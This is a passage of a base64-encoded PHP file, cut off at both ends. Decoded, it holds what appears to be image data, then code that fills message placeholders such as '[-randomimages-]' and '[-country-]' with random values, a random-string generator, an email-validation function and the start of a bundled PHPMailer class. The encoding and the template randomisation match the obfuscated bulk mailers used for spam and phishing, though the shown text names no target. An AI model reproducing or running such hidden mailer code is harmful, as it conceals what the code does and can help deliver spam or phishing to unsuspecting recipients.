ZzMW8zaitrZ3ZuRy83SjJjNE9YSHh5ZXB3NWVXRVZqTWVqU2JicHUzWXprL3BIZzZWYUZCdTdqSGJmT1YwdmduNG5lcXA1djZaNDc2eGpjUlV2ZGVzbEZmaGg3Q3QreWFmSCs4djhaZkpzbU92NjZWOUhDdDlwaktmWEREelhkS2NYNW83WlhSNSsrajdpZG5NWjArRThQVjhZeWcxOHowTFhpZE9jY01ZOUlkTFJvVklHUGxhTitwcC9IWDRGRmpNYTdXWStHNGJpbzdVT1E2anJFblFVVjdMS2gwa29iVVpTVytFbDRQUi9HeGIyL1psM0dneDFOTlRUNG1mSk54Zmp1cXBRaDA0N0xhNm0wQTQzVWFBY3dBQ3dnMkVCdlJBRUZCQUlGd052MGNoOXJ0ZFVYOGRDeXplaFh1anNkSnk3WXJ6WnYrSjM4RTFnNWVTL2tLV2crcUdObU5idXpYMG9scExRZXdMZ09aTURVY1Qra1ZXMXdjUDl4THdVRjh6dGkzSEZmcEZVUDhwVTdhOGZGUmZ5SXBISU11eHNzUFZoV2g3MU9jWnJ1ZTd2VjEzbnBqTE1aR3ZTaFdnN3hxUmpKY21ybmx5NTJuME01MTYzRFR3c243VkNWNDl0T2JiWGhMYVhnWS9JdzNOL3gwL0d6MWw0LzFjcyt4YW9ZZXJXZjNLZFNYaEZ0SG1KeWIxZTk2dm05NTN6MHNZLzFXWDFGeHF1Rk5kN3ZMOTFNNEZjZkh4MWp0UHlzdnlrWHYwSzRsVTgydzk5TnRWcWZmS20ydjRUMDVWV2g1UTlHeWYvNmVDdC81RVBKMytCNndsdU5xNVdMQmpNelY2Y3VUSHBBeHI5aDhuNUdmcGVkbjBWZGE4VXZpaUdpOWwyN2pJb0wyVnlYa1kySVZuY3RVRFVla2x5TlJtR2tHelp5bGUvNnZ6TlZtOHRGRmNaSXBrdmlxZWJVdG1vKzJ6OFRFUnVPa05PemkreXhwMGNXYzFsWFZqZHdyQVk0VmlxVFJEaEFia0Z4Q0NnamJoYkFCWk1naDlsemxMNUkyTXA3bVltU0w3R1A2ei9lWmtWRnJidlh6UFJ3K3NJNU12MnJKcFRKSVIxTUxEejFzK0JuOGkvYXFVTEFoUjNFZ0k1UjlJVEQ3V0RvMVB5TVJId2xDYTg3SFYwYy85TnVFZFRLNnJTdjZ1VkdwM1JtbEw0TmtYc2VhU3grajNPdnFlT3BUYnRDYjlWVS9EUFJQdWxzc3JiR3RrMmJtazQzVjI2bDZjTXpVcDBNTkYrNnBWWkx0bDdNUGdwSExrWjJlWnRVeGRaMXFtOXhweDVLRVZIelRmZVlTUkdHUGpOSjVNdkxLMWEvUmgvcXVDL1RMK0dSNnNxUFE4eCtoZkNxcG0ySHY5eFZxbmZHbTB2NGowMVdKeVZpRkVlUDFTajF0SW1naUd2clVpdXBTZnd0OHpKZFBSa1E0dGFENldqSDFvWExkeERSWXpGN0cxYlYreWt1M1V4YTBHcWtJTjNjWXVVdWIxSDBrcFY1U2w3dEtNWHprN3BlR3I4Q0xDTnlsS3RMN3phWEl6YVNNSHBEQzhVK3BvcjZSWTg3OXg5M21WMDVlWDluUng5RWhDRVpya0lRUU5yY0Z3WEFHWjF3QUZja1cvS0ZhakQ4UG0yVDFvM1hVK0Q2bU53TWJVNExxakh5UXB5UFN4L1dPTzlzWGJ2SlBjMDdQdFhYNUc3b3l1a2FTcWx0Sm0yd2tyeFJNUldTSmNRb2J4SkNOTjB1d0gxakI0aWh2OVpScXhYTnhkdmliaVJIWFdoQThXTlBjKzhZamQ5Tk1COVh4MkpvN2xHdFV0eWs5cVB3a2pTWEx4QXhlcElSd0pBT2hlZ3FEZWJVMnZ1MGNRM3kyVXZObzlJMVR6NzlIekQ3V1kxSi9rWWVwKzlPQ1hrejBEVlpUSk1LbWpHaHJVaytxeStiK1JrTjJqY2d3YTltNzN5Ymw0N3ZoWW91bjJCVmFxakc3SFNsWkZmenpGdTJ5dUxGdWlUYkFwVkZOMVZ2YzV4ZjZ0djhBNlord3R5NEkwZVYxclY1UjY0cGVHcHZraWthTlRuVWZzNWNtL0RVclNaYTh5aHRRa3V1TWw4R1UvQ3p2RTUrYWZiZmo2VENZa0ptSzRYRUc0aVJzeEFFR1lqV0pnQXZGSDNJL2hqNUlpcU1uM1JTN0VqRXFNOUwwNVBhS1RObGdKNmZFMUZTUm1aZlYwOFYvZmlJVnVZeUZJeDRUSll6TEtuTWE5VUNMNEF1VlM4MmVuTEIrcnpPVXJXVlNsU256YXZCL3dvNTQyZHMra1ZnZjhyaUV2KzdTYjU3TW8rVWppY2k4NlJSaVBpTVRIUkpRN2o5SExMdE1YaW4xMHFLN2s1eS9paWRqbHF5aGVoVEJ1amxWT1QzMXFsV3IzWDJJL0NCZktiNG1lWDJ0RVdPbG9vTDd6Uzd1UHd1U2JqRHAxZHVySjhJTFpYNG5xL2hieEpLbFFvdm9xOVFyR2UxbEM4cE95aW0yYnV2V3NWWHBFOXVuVTJ1cnlhYUsxYkdNREthcmRhTW5wZDY5bHkyeXI3YjJhZnVyZkxyZloyRkt3ajl1TjkxMFhPazkxaEZxT0pqWmVKeittOWlwT24rVE9TN3J1eDBPdjd2ajVITzgxZXppcW5ic3Z4aWpMbWFjYlBRQVUzZEJPWnNBZ2hBMkxBSVJMSWd4M3JtaENFS3ZWWGNZTlVRajByMDVJeEtoUGx2M3VhOGhDSUwwMmNDUUlpeXNLTy94K1E2UUJFSmpsMzBnL3dEVDZYKzVoL3gxRHo0eENMenBGSWN0d2hFb2VxL1J4L3BXQi9RUjgyV2o3b0JHVjdYblRWNWJ1cWZwWi9JblloRlBTN0FyYnl1ZEkvOEFwMU9TODBBUlZhTlRodmVqM0YydzNEa2hDSmlheUo3dkh5T2JkSXY4M0xsRCtGQ0VaOG5TL0gyeTZHNGVFUnl0eUVJUUgvL1onKTsKICAgICRpbWFnZXMgPSAkaW1hZ2VzZGF0YVthcnJheV9yYW5kKCRpbWFnZXNkYXRhKV07CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCJbLXJhbmRvbWltYWdlcy1dIiwgJGltYWdlcywgJHRleHQpOwogICAgJHJhbmRDb3VudHJ5ID0gYXJyYXkoIkFmZ2hhbmlzdGFuIiwiw4VsYW5kIElzbGFuZHMiLCJBbGJhbmlhIiwKICAgICAgICAiQWxnZXJpYSIsCiAgICAgICAgIkFtZXJpY2FuIFNhbW9hIiwKICAgICAgICAiQW5kb3JyYSIsCiAgICAgICAgIkFuZ29sYSIsCiAgICAgICAgIkFuZ3VpbGxhIiwKICAgICAgICAiQW50YXJjdGljYSIsCiAgICAgICAgIkFudGlndWEgYW5kIEJhcmJ1ZGEiLAogICAgICAgICJBcmdlbnRpbmEiLAogICAgICAgICJBcm1lbmlhIiwKICAgICAgICAiQXJ1YmEiLAogICAgICAgICJBdXN0cmFsaWEiLAogICAgICAgICJBdXN0cmlhIiwKICAgICAgICAiQXplcmJhaWphbiIsCiAgICAgICAgIkJhaGFtYXMgKHRoZSkiLAogICAgICAgICJCYWhyYWluIiwKICAgICAgICAiQmFuZ2xhZGVzaCIsCiAgICAgICAgIkJhcmJhZG9zIiwKICAgICAgICAiQmVsYXJ1cyIsCiAgICAgICAgIkJlbGdpdW0iLAogICAgICAgICJCZWxpemUiLAogICAgICAgICJCZW5pbiIsCiAgICAgICAgIkJlcm11ZGEiLAogICAgICAgICJCaHV0YW4iLAogICAgICAgICJCb2xpdmlhIChQbHVyaW5hdGlvbmFsIFN0YXRlIG9mKSIsCiAgICAgICAgIkJvbmFpcmUsIFNpbnQgRXVzdGF0aXVzIGFuZCBTYWJhIiwKICAgICAgICAiQm9zbmlhIGFuZCBIZXJ6ZWdvdmluYSIsCiAgICAgICAgIkJvdHN3YW5hIiwKICAgICAgICAiQm91dmV0IElzbGFuZCIsCiAgICAgICAgIkJyYXppbCIsCiAgICAgICAgIkJyaXRpc2ggSW5kaWFuIE9jZWFuIFRlcnJpdG9yeSAodGhlKSIsCiAgICAgICAgIkJydW5laSBEYXJ1c3NhbGFtIiwKICAgICAgICAiQnVsZ2FyaWEiLAogICAgICAgICJCdXJraW5hIEZhc28iLAogICAgICAgICJCdXJ1bmRpIiwKICAgICAgICAiQ2FibyBWZXJkZSIsCiAgICAgICAgIkNhbWJvZGlhIiwKICAgICAgICAiQ2FtZXJvb24iLAogICAgICAgICJDYW5hZGEiLAogICAgICAgICJDYXltYW4gSXNsYW5kcyAodGhlKSIsCiAgICAgICAgIkNlbnRyYWwgQWZyaWNhbiBSZXB1YmxpYyAodGhlKSIsCiAgICAgICAgIkNoYWQiLAogICAgICAgICJDaGlsZSIsCiAgICAgICAgIkNoaW5hIiwKICAgICAgICAiQ2hyaXN0bWFzIElzbGFuZCIsCiAgICAgICAgIkNvY29zIChLZWVsaW5nKSBJc2xhbmRzICh0aGUpIiwKICAgICAgICAiQ29sb21iaWEiLAogICAgICAgICJDb21vcm9zICh0aGUpIiwKICAgICAgICAiQ29uZ28gKHRoZSBEZW1vY3JhdGljIFJlcHVibGljIG9mIHRoZSkiLAogICAgICAgICJDb25nbyAodGhlKSIsCiAgICAgICAgIkNvb2sgSXNsYW5kcyAodGhlKSIsCiAgICAgICAgIkNvc3RhIFJpY2EiLAogICAgICAgICJDcm9hdGlhIiwKICAgICAgICAiQ3ViYSIsCiAgICAgICAgIkN1cmHDp2FvIiwKICAgICAgICAiQ3lwcnVzIiwKICAgICAgICAiQ3plY2hpYSIsCiAgICAgICAgIkPDtHRlIGQnSXZvaXJlIiwKICAgICAgICAiRGVubWFyayIsCiAgICAgICAgIkRqaWJvdXRpIiwKICAgICAgICAiRG9taW5pY2EiLAogICAgICAgICJEb21pbmljYW4gUmVwdWJsaWMgKHRoZSkiLAogICAgICAgICJFY3VhZG9yIiwKICAgICAgICAiRWd5cHQiLAogICAgICAgICJFbCBTYWx2YWRvciIsCiAgICAgICAgIkVxdWF0b3JpYWwgR3VpbmVhIiwKICAgICAgICAiRXJpdHJlYSIsCiAgICAgICAgIkVzdG9uaWEiLAogICAgICAgICJFc3dhdGluaSIsCiAgICAgICAgIkV0aGlvcGlhIiwKICAgICAgICAiRmFsa2xhbmQgSXNsYW5kcyAodGhlKSBbTWFsdmluYXNdIiwKICAgICAgICAiRmFyb2UgSXNsYW5kcyAodGhlKSIsCiAgICAgICAgIkZpamkiLAogICAgICAgICJGaW5sYW5kIiwKICAgICAgICAiRnJhbmNlIiwKICAgICAgICAiRnJlbmNoIEd1aWFuYSIsCiAgICAgICAgIkZyZW5jaCBQb2x5bmVzaWEiLAogICAgICAgICJGcmVuY2ggU291dGhlcm4gVGVycml0b3JpZXMgKHRoZSkiLAogICAgICAgICJHYWJvbiIsCiAgICAgICAgIkdhbWJpYSAodGhlKSIsCiAgICAgICAgIkdlb3JnaWEiLAogICAgICAgICJHZXJtYW55IiwKICAgICAgICAiR2hhbmEiLAogICAgICAgICJHaWJyYWx0YXIiLAogICAgICAgICJHcmVlY2UiLAogICAgICAgICJHcmVlbmxhbmQiLAogICAgICAgICJHcmVuYWRhIiwKICAgICAgICAiR3VhZGVsb3VwZSIsCiAgICAgICAgIkd1YW0iLAogICAgICAgICJHdWF0ZW1hbGEiLAogICAgICAgICJHdWVybnNleSIsCiAgICAgICAgIkd1aW5lYSIsCiAgICAgICAgIkd1aW5lYS1CaXNzYXUiLAogICAgICAgICJHdXlhbmEiLAogICAgICAgICJIYWl0aSIsCiAgICAgICAgIkhlYXJkIElzbGFuZCBhbmQgTWNEb25hbGQgSXNsYW5kcyIsCiAgICAgICAgIkhvbHkgU2VlICh0aGUpIiwKICAgICAgICAiSG9uZHVyYXMiLAogICAgICAgICJIb25nIEtvbmciLAogICAgICAgICJIdW5nYXJ5IiwKICAgICAgICAiSWNlbGFuZCIsCiAgICAgICAgIkluZGlhIiwKICAgICAgICAiSW5kb25lc2lhIiwKICAgICAgICAiSXJhbiAoSXNsYW1pYyBSZXB1YmxpYyBvZikiLAogICAgICAgICJJcmFxIiwKICAgICAgICAiSXJlbGFuZCIsCiAgICAgICAgIklzbGUgb2YgTWFuIiwKICAgICAgICAiSXNyYWVsIiwKICAgICAgICAiSXRhbHkiLAogICAgICAgICJKYW1haWNhIiwKICAgICAgICAiSmFwYW4iLAogICAgICAgICJKZXJzZXkiLAogICAgICAgICJKb3JkYW4iLAogICAgICAgICJLYXpha2hzdGFuIiwKICAgICAgICAiS2VueWEiLAogICAgICAgICJLaXJpYmF0aSIsCiAgICAgICAgIktvcmVhICh0aGUgRGVtb2NyYXRpYyBQZW9wbGUncyBSZXB1YmxpYyBvZikiLAogICAgICAgICJLb3JlYSAodGhlIFJlcHVibGljIG9mKSIsCiAgICAgICAgIkt1d2FpdCIsCiAgICAgICAgIkt5cmd5enN0YW4iLAogICAgICAgICJMYW8gUGVvcGxlJ3MgRGVtb2NyYXRpYyBSZXB1YmxpYyAodGhlKSIsCiAgICAgICAgIkxhdHZpYSIsCiAgICAgICAgIkxlYmFub24iLAogICAgICAgICJMZXNvdGhvIiwKICAgICAgICAiTGliZXJpYSIsCiAgICAgICAgIkxpYnlhIiwKICAgICAgICAiTGllY2h0ZW5zdGVpbiIsCiAgICAgICAgIkxpdGh1YW5pYSIsCiAgICAgICAgIkx1eGVtYm91cmciLAogICAgICAgICJNYWNhbyIsCiAgICAgICAgIk1hZGFnYXNjYXIiLAogICAgICAgICJNYWxhd2kiLAogICAgICAgICJNYWxheXNpYSIsCiAgICAgICAgIk1hbGRpdmVzIiwKICAgICAgICAiTWFsaSIsCiAgICAgICAgIk1hbHRhIiwKICAgICAgICAiTWFyc2hhbGwgSXNsYW5kcyAodGhlKSIsCiAgICAgICAgIk1hcnRpbmlxdWUiLAogICAgICAgICJNYXVyaXRhbmlhIiwKICAgICAgICAiTWF1cml0aXVzIiwKICAgICAgICAiTWF5b3R0ZSIsCiAgICAgICAgIk1leGljbyIsCiAgICAgICAgIk1pY3JvbmVzaWEgKEZlZGVyYXRlZCBTdGF0ZXMgb2YpIiwKICAgICAgICAiTW9sZG92YSAodGhlIFJlcHVibGljIG9mKSIsCiAgICAgICAgIk1vbmFjbyIsCiAgICAgICAgIk1vbmdvbGlhIiwKICAgICAgICAiTW9udGVuZWdybyIsCiAgICAgICAgIk1vbnRzZXJyYXQiLAogICAgICAgICJNb3JvY2NvIiwKICAgICAgICAiTW96YW1iaXF1ZSIsCiAgICAgICAgIk15YW5tYXIiLAogICAgICAgICJOYW1pYmlhIiwKICAgICAgICAiTmF1cnUiLAogICAgICAgICJOZXBhbCIsCiAgICAgICAgIk5ldGhlcmxhbmRzICh0aGUpIiwKICAgICAgICAiTmV3IENhbGVkb25pYSIsCiAgICAgICAgIk5ldyBaZWFsYW5kIiwKICAgICAgICAiTmljYXJhZ3VhIiwKICAgICAgICAiTmlnZXIgKHRoZSkiLAogICAgICAgICJOaWdlcmlhIiwKICAgICAgICAiTml1ZSIsCiAgICAgICAgIk5vcmZvbGsgSXNsYW5kIiwKICAgICAgICAiTm9ydGhlcm4gTWFyaWFuYSBJc2xhbmRzICh0aGUpIiwKICAgICAgICAiTm9yd2F5IiwKICAgICAgICAiT21hbiIsCiAgICAgICAgIlBha2lzdGFuIiwKICAgICAgICAiUGFsYXUiLAogICAgICAgICJQYWxlc3RpbmUsIFN0YXRlIG9mIiwKICAgICAgICAiUGFuYW1hIiwKICAgICAgICAiUGFwdWEgTmV3IEd1aW5lYSIsCiAgICAgICAgIlBhcmFndWF5IiwKICAgICAgICAiUGVydSIsCiAgICAgICAgIlBoaWxpcHBpbmVzICh0aGUpIiwKICAgICAgICAiUGl0Y2Fpcm4iLAogICAgICAgICJQb2xhbmQiLAogICAgICAgICJQb3J0dWdhbCIsCiAgICAgICAgIlB1ZXJ0byBSaWNvIiwKICAgICAgICAiUWF0YXIiLAogICAgICAgICJSZXB1YmxpYyBvZiBOb3J0aCBNYWNlZG9uaWEiLAogICAgICAgICJSb21hbmlhIiwKICAgICAgICAiUnVzc2lhbiBGZWRlcmF0aW9uICh0aGUpIiwKICAgICAgICAiUndhbmRhIiwKICAgICAgICAiUsOpdW5pb24iLAogICAgICAgICJTYWludCBCYXJ0aMOpbGVteSIsCiAgICAgICAgIlNhaW50IEhlbGVuYSwgQXNjZW5zaW9uIGFuZCBUcmlzdGFuIGRhIEN1bmhhIiwKICAgICAgICAiU2FpbnQgS2l0dHMgYW5kIE5ldmlzIiwKICAgICAgICAiU2FpbnQgTHVjaWEiLAogICAgICAgICJTYWludCBNYXJ0aW4gKEZyZW5jaCBwYXJ0KSIsCiAgICAgICAgIlNhaW50IFBpZXJyZSBhbmQgTWlxdWVsb24iLAogICAgICAgICJTYWludCBWaW5jZW50IGFuZCB0aGUgR3JlbmFkaW5lcyIsCiAgICAgICAgIlNhbW9hIiwKICAgICAgICAiU2FuIE1hcmlubyIsCiAgICAgICAgIlNhbyBUb21lIGFuZCBQcmluY2lwZSIsCiAgICAgICAgIlNhdWRpIEFyYWJpYSIsCiAgICAgICAgIlNlbmVnYWwiLAogICAgICAgICJTZXJiaWEiLAogICAgICAgICJTZXljaGVsbGVzIiwKICAgICAgICAiU2llcnJhIExlb25lIiwKICAgICAgICAiU2luZ2Fwb3JlIiwKICAgICAgICAiU2ludCBNYWFydGVuIChEdXRjaCBwYXJ0KSIsCiAgICAgICAgIlNsb3Zha2lhIiwKICAgICAgICAiU2xvdmVuaWEiLAogICAgICAgICJTb2xvbW9uIElzbGFuZHMiLAogICAgICAgICJTb21hbGlhIiwKICAgICAgICAiU291dGggQWZyaWNhIiwKICAgICAgICAiU291dGggR2VvcmdpYSBhbmQgdGhlIFNvdXRoIFNhbmR3aWNoIElzbGFuZHMiLAogICAgICAgICJTb3V0aCBTdWRhbiIsCiAgICAgICAgIlNwYWluIiwKICAgICAgICAiU3JpIExhbmthIiwKICAgICAgICAiU3VkYW4gKHRoZSkiLAogICAgICAgICJTdXJpbmFtZSIsCiAgICAgICAgIlN2YWxiYXJkIGFuZCBKYW4gTWF5ZW4iLAogICAgICAgICJTd2VkZW4iLAogICAgICAgICJTd2l0emVybGFuZCIsCiAgICAgICAgIlN5cmlhbiBBcmFiIFJlcHVibGljIiwKICAgICAgICAiVGFpd2FuIChQcm92aW5jZSBvZiBDaGluYSkiLAogICAgICAgICJUYWppa2lzdGFuIiwKICAgICAgICAiVGFuemFuaWEsIFVuaXRlZCBSZXB1YmxpYyBvZiIsCiAgICAgICAgIlRoYWlsYW5kIiwKICAgICAgICAiVGltb3ItTGVzdGUiLAogICAgICAgICJUb2dvIiwKICAgICAgICAiVG9rZWxhdSIsCiAgICAgICAgIlRvbmdhIiwKICAgICAgICAiVHJpbmlkYWQgYW5kIFRvYmFnbyIsCiAgICAgICAgIlR1bmlzaWEiLAogICAgICAgICJUdXJrZXkiLAogICAgICAgICJUdXJrbWVuaXN0YW4iLAogICAgICAgICJUdXJrcyBhbmQgQ2FpY29zIElzbGFuZHMgKHRoZSkiLAogICAgICAgICJUdXZhbHUiLAogICAgICAgICJVZ2FuZGEiLAogICAgICAgICJVa3JhaW5lIiwKICAgICAgICAiVW5pdGVkIEFyYWIgRW1pcmF0ZXMgKHRoZSkiLAogICAgICAgICJVbml0ZWQgS2luZ2RvbSBvZiBHcmVhdCBCcml0YWluIGFuZCBOb3J0aGVybiBJcmVsYW5kICh0aGUpIiwKICAgICAgICAiVW5pdGVkIFN0YXRlcyBNaW5vciBPdXRseWluZyBJc2xhbmRzICh0aGUpIiwKICAgICAgICAiVW5pdGVkIFN0YXRlcyBvZiBBbWVyaWNhICh0aGUpIiwKICAgICAgICAiVXJ1Z3VheSIsCiAgICAgICAgIlV6YmVraXN0YW4iLAogICAgICAgICJWYW51YXR1IiwKICAgICAgICAiVmVuZXp1ZWxhIChCb2xpdmFyaWFuIFJlcHVibGljIG9mKSIsCiAgICAgICAgIlZpZXQgTmFtIiwKICAgICAgICAiVmlyZ2luIElzbGFuZHMgKEJyaXRpc2gpIiwKICAgICAgICAiVmlyZ2luIElzbGFuZHMgKFUuUy4pIiwKICAgICAgICAiV2FsbGlzIGFuZCBGdXR1bmEiLAogICAgICAgICJXZXN0ZXJuIFNhaGFyYSIsCiAgICAgICAgIlllbWVuIiwKICAgICAgICAiWmFtYmlhIiwKICAgICAgICAiWmltYmFid2UiKTsKICAgICRyYW5kY291bnRyeXNlYyA9ICRyYW5kQ291bnRyeVthcnJheV9yYW5kKCRyYW5kQ291bnRyeSldOwogICAgJHRleHQgPSBzdHJfcmVwbGFjZSgiWy1jb3VudHJ5LV0iLCAkcmFuZGNvdW50cnlzZWMsICR0ZXh0KTsKCiAgICByZXR1cm4gJHRleHQ7Cn0KCmZ1bmN0aW9uIHJhbmRTdHJpbmcoJGNvbnNvbmFudHMsICRtaW5fbGVuZ3RoLCAkbWF4X2xlbmd0aCkKewogICAgJGxlbmd0aCA9IHJhbmQoJG1pbl9sZW5ndGgsICRtYXhfbGVuZ3RoKTsKICAgICRwYXNzd29yZCA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgewogICAgICAgICRwYXNzd29yZCAuPSAkY29uc29uYW50c1socmFuZCgpICUgc3RybGVuKCRjb25zb25hbnRzKSldOwogICAgfQogICAgcmV0dXJuICRwYXNzd29yZDsKfQoKZnVuY3Rpb24gaXNfZW1haWwoJGlucHV0KQp7CiAgICAkZW1haWxfcGF0dGVybiA9ICIvXihbYS16QS1aMC05XC1cX1wuXXsxLH0pK0ArKFthLXpBLVowLTlcLVxfXC5dezEsfSkrXC4rKFthLXpdezIsNH0pJC9pIjsKICAgIGlmIChwcmVnX21hdGNoKCRlbWFpbF9wYXR0ZXJuLCAkaW5wdXQpKSByZXR1cm4gVFJVRTsKfQoKCi8qKgogKiBQSFBNYWlsZXIgLSBQSFAgZW1haWwgY3JlYXRpb24gYW5kIHRyYW5zcG9ydCBjbGFzcy4KICoKICogQGF1dGhvciAgTWFyY3VzIEJvaW50b24gKFN5bmNocm8vY29vbGJydSkgPHBocG1haWxlckBzeW5jaHJvbWVkaWEuY28udWs+CiAqIEBhdXRob3IgIEppbSBKYWdpZWxza2kgKGppbWphZykgPGppbWphZ0BnbWFpbC5jb20+CiAqIEBhdXRob3IgIEFuZHkgUHJldm9zdCAoY29kZXdvcnh0ZWNoKSA8Y29kZXdvcnh0ZWNoQHVzZXJzLnNvdXJjZWZvcmdlLm5ldD4KICogQGF1dGhvciAgQnJlbnQgUi4gTWF0emVsbGUgKG9yaWdpbmFsIGZvdW5kZXIpCiAqLwpjbGFzcyBQSFBNYWlsZXIKewogICAgY29uc3QgQ0hBUlNFVF9JU084ODU5MSA9ICdpc28tODg1OS0xJzsKICAgIGNvbnN0IENIQVJTRVRfVVRGOCA9ICd1dGYtOCc7CiAgICBjb25zdCBDT05URU5UX1RZUEVfUExBSU5URVhUID0gJ3RleHQvcGxhaW4nOwogICAgY29uc3QgQ09OVEVOVF9UWVBFX1RFWFRfQ0FMRU5EQVIgPSAndGV4dC9jYWxlbmRhcic7CiAgICBjb25zdCBDT05URU5UX1RZUEVfVEVYVF9IVE1MID0gJ3RleHQvaHRtbCc7CiAgICBjb25zdCBDT05URU5UX1RZUEVfTVVMVElQQVJUX0FMVEVSTkFUSVZFID0gJ211bHRpcGFydC9hbHRlcm5hdGl2ZSc7CiAgICBjb25zdCBDT05URU5UX1RZUEVfTVVMVElQQVJUX01JWEVEID0gJ211bHRpcGFydC9taXhlZCc7CiAgICBjb25zdCBDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQgPSAnbXVsdGlwYXJ0L3JlbGF0ZWQnOwogICAgY29uc3QgRU5DT0RJTkdfN0JJVCA9ICc3Yml0JzsKICAgIGNvbnN0IEVOQ09ESU5HXzhCSVQgPSAnOGJpdCc7CiAgICBjb25zdCBFTkNPRElOR19CQVNFNjQgPSAnYmFzZTY0JzsKICAgIGNvbnN0IEVOQ09ESU5HX0JJTkFSWSA9ICdiaW5hcnknOwogICAgY29uc3QgRU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRSA9ICdxdW90ZWQtcHJpbnRhYmxlJzsKICAgIC8qKgogICAgICogRW1haWwgcHJpb3JpdHkuCiAgICAgKiBPcHRpb25zOiBudWxsIChkZWZhdWx0KSwgMSA9IEhpZ2gsIDMgPSBOb3JtYWwsIDUgPSBsb3cuCiAgICAgKiBXaGVuIG51bGwsIHRoZSBoZWFkZXIgaXMgbm90IHNldCBhdCBhbGwuCiAgICAgKgogICAgICogQHZhciBpbnQKICAgICAqLwogICAgcHVibGljICRQcmlvcml0eTsKICAgIC8qKgogICAgICogVGhlIGNoYXJhY3RlciBzZXQgb2YgdGhlIG1lc3NhZ2UuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRDaGFyU2V0ID0gc2VsZjo6Q0hBUlNFVF9JU084ODU5MTsKICAgIC8qKgogICAgICogVGhlIE1JTUUgQ29udGVudC10eXBlIG9mIHRoZSBtZXNzYWdlLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQ29udGVudFR5cGUgPSBzZWxmOjpDT05URU5UX1RZUEVfUExBSU5URVhUOwogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSBlbmNvZGluZy4KICAgICAqIE9wdGlvbnM6ICI4Yml0IiwgIjdiaXQiLCAiYmluYXJ5IiwgImJhc2U2NCIsIGFuZCAicXVvdGVkLXByaW50YWJsZSIuCiAgICAgKgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRFbmNvZGluZyA9IHNlbGY6OkVOQ09ESU5HXzhCSVQ7CiAgICAvKioKICAgICAqIEhvbGRzIHRoZSBtb3N0IHJlY2VudCBtYWlsZXIgZXJyb3IgbWVzc2FnZS4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEVycm9ySW5mbyA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBlbWFpbCBhZGRyZXNzIGZvciB0aGUgbWVzc2FnZS4KICAgICAqCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJEZyb20gPSAncm9vdEBsb2NhbGhvc3QnOwogICAgLyoqCiAgICAgKiBUaGUgRnJvbSBuYW1lIG9mIHRoZSBtZXNzYWdlLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkRnJvbU5hbWUgPSAnUm9vdCBVc2VyJzsKICAgIC8qKgogICAgICogVGhlIGVudmVsb3BlIHNlbmRlciBvZiB0aGUgbWVzc2FnZS4KICAgICAqIFRoaXMgd2lsbCB1c3VhbGx5IGJlIHR1cm5lZCBpbnRvIGEgUmV0dXJuLVBhdGggaGVhZGVyIGJ5IHRoZSByZWNlaXZlciwKICAgICAqIGFuZCBpcyB0aGUgYWRkcmVzcyB0aGF0IGJvdW5jZXMgd2lsbCBiZSBzZW50IHRvLgogICAgICogSWYgbm90IGVtcHR5LCB3aWxsIGJlIHBhc3NlZCB2aWEgYC1mYCB0byBzZW5kbWFpbCBvciBhcyB0aGUgJ01BSUwgRlJPTScgdmFsdWUgb3ZlciBTTVRQLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU2VuZGVyID0gJyc7CiAgICAvKioKICAgICAqIFRoZSBTdWJqZWN0IG9mIHRoZSBtZXNzYWdlLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkU3ViamVjdCA9ICcnOwogICAgLyoqCiAgICAgKiBBbiBIVE1MIG9yIHBsYWluIHRleHQgbWVzc2FnZSBib2R5LgogICAgICogSWYgSFRNTCB0aGVuIGNhbGwgaXNIVE1MKHRydWUpLgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQm9keSA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgcGxhaW4tdGV4dCBtZXNzYWdlIGJvZHkuCiAgICAgKiBUaGlzIGJvZHkgY2FuIGJlIHJlYWQgYnkgbWFpbCBjbGllbnRzIHRoYXQgZG8gbm90IGhhdmUgSFRNTCBlbWFpbAogICAgICogY2FwYWJpbGl0eSBzdWNoIGFzIG11dHQgJiBFdWRvcmEuCiAgICAgKiBDbGllbnRzIHRoYXQgY2FuIHJlYWQgSFRNTCB3aWxsIHZpZXcgdGhlIG5vcm1hbCBCb2R5LgogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkQWx0Qm9keSA9ICcnOwogICAgLyoqCiAgICAgKiBBbiBpQ2FsIG1lc3NhZ2UgcGFydCBib2R5LgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gc2ltcGxlIGFsdCBvciBhbHRfaW5saW5lIG1lc3NhZ2UgdHlwZXMKICAgICAqIFRvIGdlbmVyYXRlIGlDYWwgZXZlbnQgc3RydWN0dXJlcywgdXNlIGNsYXNzZXMgbGlrZSBFYXN5UGVhc3lJQ1Mgb3IgaUNhbGNyZWF0b3IuCiAgICAgKgogICAgICogQHNlZSBodHRwOi8vc3ByYWluLmNoL2Jsb2cvZG93bmxvYWRzL3BocC1jbGFzcy1lYXN5cGVhc3lpY3MtY3JlYXRlLWljYWwtZmlsZXMtd2l0aC1waHAvCiAgICAgKiBAc2VlIGh0dHA6Ly9raWdrb25zdWx0LnNlL2lDYWxjcmVhdG9yLwogICAgICoKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkSWNhbCA9ICcnOwogICAgLyoqCiAgICAgKiBUaGUgY29tcGxldGUgY29tcGlsZW